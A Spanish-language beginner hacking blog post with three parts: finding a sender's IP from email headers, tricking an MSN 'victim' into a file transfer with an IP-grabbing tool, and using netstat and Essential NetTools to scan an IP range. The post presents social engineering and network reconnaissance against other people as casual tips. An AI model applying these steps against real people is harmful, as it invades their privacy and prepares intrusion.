MS DOS

Más de alguna vez no han enviado correos y nos preguntamos ¿Quién diablos nos ha mandado esta cosa? ¿Cómo puedo saber la IP? Bueno la solución es simple

Te posicionas en el mensaje de correo recibido le das con el clic derecho

Esta imagen se a reducido de tamaño, para visualizarla en su tamaño normal haz click aqui. El Tamaño original de esta imagen es: 1024x604.

Eliges la opcion ver codigo de fuente

Saldrá algo como esto, pero no te asustes solo tienes que buscar la palabra X-Originating-IP: que esta ubicada en la medianía de la pantalla

Esta imagen se a reducido de tamaño, para visualizarla en su tamaño normal haz click aqui. El Tamaño original de esta imagen es: 1024x600.

Facil no??? XDD!!

MSN

En Msn existen diversos programas para sacar la ip de nuestra “victima”
Desde parches hasta programas de ejecución directa, uno de ellos es la Prívate IP método que es muy sencillo de realizar, os explico

Una vez descargado del enlace vas a tu msn y conversas con cualquier persona, usas tu ingeniera social avanzada (un chamuyo bueno) y le envías una foto, un archivo o cualquier cosa. En el momento en que acepte la transferencia de datos al programita.

Y voooiila!! ya tienes tu Ip…… de otra forma seria Parchar tu MSN con algún Patch de la versión de que utilizas, el ejecutable te va dando las opciones que quieres mediante la instalación

MS DOS

Mediante MS DOS podemos sacar la IP con un comando llamado NETSTAT, cual forma ejecutamos el comando PING anterior este es lo mismo, mismo

Bueno a mi no me parecerá nada pero si estas enviando un archivo a otra persona saldrá, preocupa cerrar casi todas las aplicaciones que tienes abiertas (programas, webs, reproductores etc.) ya que a lo mejor te confundirás con tanto numero y dirección que saldrá…ha se me olvidaba si ejecutas este comando también procura enviar un archivo mas o menos pesado para que alcance el tiempo.

Conclusión:

Bueno todo este post lo hice con la finalidad de instruir y dar un conocimiento a las personas que son newbies en la materia, trate de hacerlo lo mas completo posible, a mi juicio este método de andar sacando ips de por hay no es la mejor manera de empezar en este cuento del hacking y cosas por el estilo ya que tampoco logras mucho con esto, pero bueeeeno cada quien con su elección.

sábado, 23 de enero de 2010

Scanea Ips Essensial Net Tools

Herramientas: Essential NetTools

Bueno, bajate el programa ke esta en el link e instalalo en el pc

Una ves instalado y ejecutado nuestro programita veremos al costado izquierdo una seria de opciones (para los ke saben les pueden sacar probecho)

entre ellas podemos ver un Pinger, Traceroute, Portscaner, Nslookup.. etc. Pero lo que nos interesa es el NetAudit, por lo tanto le hacemos click.

Saldra esto

Esta imagen se a reducido de tamaño, para visualizarla en su tamaño normal haz click aqui. El Tamaño original de esta imagen es: 896x800.

Una ves ahi vemos 2 Match Code:

Uno dice: Dirección IP Inicial: y el otro dice: Dirección IP Final.

Como todos sabemos, las IP pueden empezar en 1 y terminar en 255, por ejemplo:

Inicial:190.1.1.1
Final: 190.255.255.255

Seria un aweonaismo del porte de un buque poner eso ya que son demasiadas Ipeses XDD!!

por lo tanto vamos a buscar nuestra tan preciada IP para tener un punto de referencia, si tienes otras Ips ke las sacaste de por ahi mejor todavia mas para escanear

Esta imagen se a reducido de tamaño, para visualizarla en su tamaño normal haz click aqui. El Tamaño original de esta imagen es: 762x343.

Una vez teninedo nuestra IP, usamos todos los números, excepto los finales, ke en el caso kedaria de la siguiente manera:

190.50.204.

Entonces, en IP Inicial ponemos: 190.50.204.1
Y en IP final seria: 190.50.204.255

Una ves que pusimos eso, le damos al boton Iniciar, y vemos lo que pasa: